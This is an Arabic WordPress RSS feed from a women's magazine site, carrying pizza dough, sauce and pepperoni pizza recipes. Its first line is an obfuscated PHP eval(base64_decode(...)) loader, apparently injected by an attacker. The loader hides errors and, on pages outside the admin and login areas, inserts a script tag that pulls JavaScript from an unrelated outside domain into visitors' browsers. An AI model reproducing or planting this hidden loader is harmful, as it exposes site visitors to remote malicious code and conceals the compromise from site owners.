eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | طريقة عمل البيتزا https://jouzal.com مجلة نسائية عربية Wed, 11 Jan 2023 23:23:39 +0000 ar hourly 1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png جوزال | طريقة عمل البيتزا https://jouzal.com 32 32 طريقة تحضير عجينة البيتزا وصلصة البيتزا في المنزل شرح بالخطوات والفيديو https://jouzal.com/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%aa%d8%ad%d8%b6%d9%8a%d8%b1-%d8%b9%d8%ac%d9%8a%d9%86%d8%a9-%d8%a7%d9%84%d8%a8%d9%8a%d8%aa%d8%b2%d8%a7-%d9%88-%d8%b5%d9%84%d8%b5%d8%a9-%d8%a7%d9%84%d8%a8%d9%8a%d8%aa/ Sat, 24 Aug 2019 22:22:38 +0000 https://jouzal.com/?p=2942 طريقة تحضير عجينة البيتزا و صلصة البيتزا مثل المطاعم بسهولة في المنزل، حيث يمكنك متابعة المقال للتعرف على طريقة تحضير عجينة البيتزا ، بالاضافة إلى مقادير تحضير صوص البيتزا، كما يمكنك تحضير بيتزا المطاعم بكل سهولة من خلال هذه الطريقة، و اضافة المكونات المفضلة بعد فردها فى الصينية المخصصة لخبز البيتزا.

مقادير البيتزا

مقادير العجينة:

  • 6 أكواب دقيق متعدد الإستخدامات ( 750 جرام )
  • 3 ملاعق كبيرة زبدة بحرارة الغرفة ( 70 جرام )
  • 2 كوب حليب دافئ ( 400 مللي ).
  • 2 حبة بيض.
  • ملعقة كبيرة ونصف خميرة ( 15 جرام )
  • ملعقة كبيرة بيكنج بودر ( 10 جرام )
  • ملعقة كبيرة ملح ( 10 جرام )
  • 3 ملاعق كبيرة سكر ( 40 جرام )

طريقة تحضير عجينة البيتزا مثل المطاعم

  1. يخلط الحليب مع السكر و الخميرة و يقلب جيدا معا.
  2. يضاف البيض و الملح و يقلب جيدا حتى يختفى البيض و يندمج مع الحليب تماما.
  3. يضاف الدقيق المتعدد الاستخدامات بالتدريج إلى الخليط السائل، عند امتزاج المكونات و يكون صعب التقليب تبدا مرحلة العجن.
  4. تعجن حتى يتم الحصول على قوام متماسك، ثم يضاف 3 ملاعق من الزبدة و تعجن لمدة 10 دقائق حتى تحصل على قوام ناعم و متماسك.
  5. يحضر وعاء مدهون بالقليل من الزيت و توضع فيه العجينة، تغطى و تترك فى مكان دافئ لمدة تتراوح بين ساعة إلى ساعة و نصف.
  6. بعد الانتهاء تفرد العجينة في صينية

صلصة البيتزا

  • ملعقة كبيرة زيت زيتون.
  • 4 فصوص توم مفرومين.
  • 4 ملاعق كبيرة صلصة طماطم.
  • ملعقتين صوص باربيكيو.
  • 4 ملاعق كبيرة كاتشب.
  • نصف ملعقة صغيرة خل أبيض.
  • ملعقة صغيرة ملح.
  • ملعقة صغيرة ثوم بودر.
  • ملعقة صغيرة بصل بودر.
  • ملعقة صغيرة زعتر مجفف.
  • ملعقة صغيرة سكر.
  • نصف كوب ماء ساخن.

قد يهمك:

طريقة تحضير صوص البيتزا :

  1. يضاف زيت الزيتون إلى فصوص الثوم فى وعاء على النار ثم صلصة الطماطم ، و صوص الباربكيو ، و الكاتشب ، و الخل الأبيض و يقلب.
  2. يضاف الملح و السكر و الفلفل الاسود و الثوم البودر و البصل البودر و الزعتر المجفف و الماء الساخن على نار متوسطة الحرارة.
  3. يترك ليغلى لمدة دقيقتين فقط ، و تترك لتبرد ثم يمكنك استخدامها فى عمل البيتزا.

https://youtu.be/sLvZIM7Zx_k

]]> طريقة عمل بيتزا البيبروني بالطريقة الايطالية شرح مبسط بالخطوات https://jouzal.com/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%b9%d9%85%d9%84-%d8%a8%d9%8a%d8%aa%d8%b2%d8%a7-%d8%a7%d9%84%d8%a8%d9%8a%d8%a8%d8%b1%d9%88%d9%86%d9%8a-%d8%a8%d8%a7%d9%84%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%a7%d9%84/ Wed, 21 Aug 2019 04:48:43 +0000 https://jouzal.com/?p=2919 تتكثف عمليات البحث في محرك جوجل حول طريقة عمل البيتزا في جميع بلاد العالم، حيث تعد هي الأكلة الأكثر شعبية والأكثر تداولا بين جميع الأعمار، حيث تعد بيتزا البيبروني من انواع البيتزا المفضلة لدى الكبار و الصغار لذلك سيقدم لكى موقع جوزال اليوم اسهل طريقة عمل بيتزا البيبروني اللذيذة.

المكونات

– كوب ونصف من الماء الدافئ
–  3 ملاعق كبيرة من زيت الزيتون
– ملعقة صغيرة وربع من الملح
– 3 أكواب ونصف من دقيق المخبوزات
– ملعقة كبيرة خميرة (فورية)
– ثلاث أرباع الكوب صوص بيتزا او صلصة البيتزا (جاهز)
– 200 جرام من شرائح البيبروني
– كوب ونصف من جبن الموتزاريلا المبشور

هذه المكونات تكفى لعدد 5 اشخاص

لعمل صوص البيتزا او صلصة البيتزا منزليا

  • 4 ثمرات طماطم متوسطة الحجم
  • 1 ملعقة صغيرة من البصل البودر
  • 1 ملعقة صغيرة ملح
  • 1 ملعقة صغيرة الريحان
  • 1 ملعقة صغيرة أوريجانو (زعتر)
  • ¼ ملعقة صغيرة من الفلفل الأسود
  • 1 ملعقة طعام سكر
  • ½ ملعقة صغيرة من الثوم البودر

طريقة التحضير:

  • اغسلى الطماطم جيداً.
  • قومى بقطع ثمرات الطماطم دون أن تقطعيها كاملة، أحدثي شقوق بها.
  • اختارى وعاء كبير واملئى ¾ الوعاء بالماء وضعي بعض الملح ثم اتركيها تغلي على النار.
  • أحضرى وعاء من الماء المثلج وقطع الثلج من أجل الحمام المثلج للطماطم. اغمرى الطماطم فى الماء المغلى على النار لمدة 30 ثانية.
  • أخرجى الطماطم من الماء المغلى بملعقة الغرف المخرمة لضمان تصفيتها من الماء الساخن.
  • اغمرى الطماطم فى وعاء الماء المثلج لمدة 30 ثانية. قشرى الجلد من على الطماطم بسكين حامى من أسفل الطماطم إلى أعلاها.
  • حاولى لا تقشرى أجزاء من لحم الطماطم نفسه.
  • افرمى الطماطم فى محضر الطعام.
  • أضيفى باقى المكونات إلى محضر الطعام وامزجيها جيدًا.
  • ضعيها مرة أخرى على النار مع بعض التوابل والمكونات المفضلة لديك مثل الثوم والبصل المفروم والريحان وغير ذلك، ثم استخدميها على عجينة البيتزا.

قد يهمك:

طريقة تحضير بيتزا البيبروني

  • جهزي صينية  وادهنيها بزيت الزيتون.
  • اخلطي الماء الدافئ وزيت الزيتون والملح والطحين والخميرة بواسطة العجانة حتى تتكون عجينة لينة ولاصقة، كما يمكن العجن باليد إن لم تتوفر العجانة.
  • جمعى العجين وضعيها في وعاء مدهون بالزيت وغطيها واتركيها لتتخمر لمدة ساعة على الأقل.
  • افردي العجينة بالصينية المجهزة بالسماكة المرغوبة.
  • ادهني وجه العجين بصوص البيتزا ووزعي الببروني والجبن الموزريلا.
  • أدخلي الصينية على فرن ساخن مسبقا على درحة حرارة 375 درجة لمدة 25 دقيقة حتى يذوب الجبن وينضج العجين.
  • قطعبها وقدميها ساخنة
]]>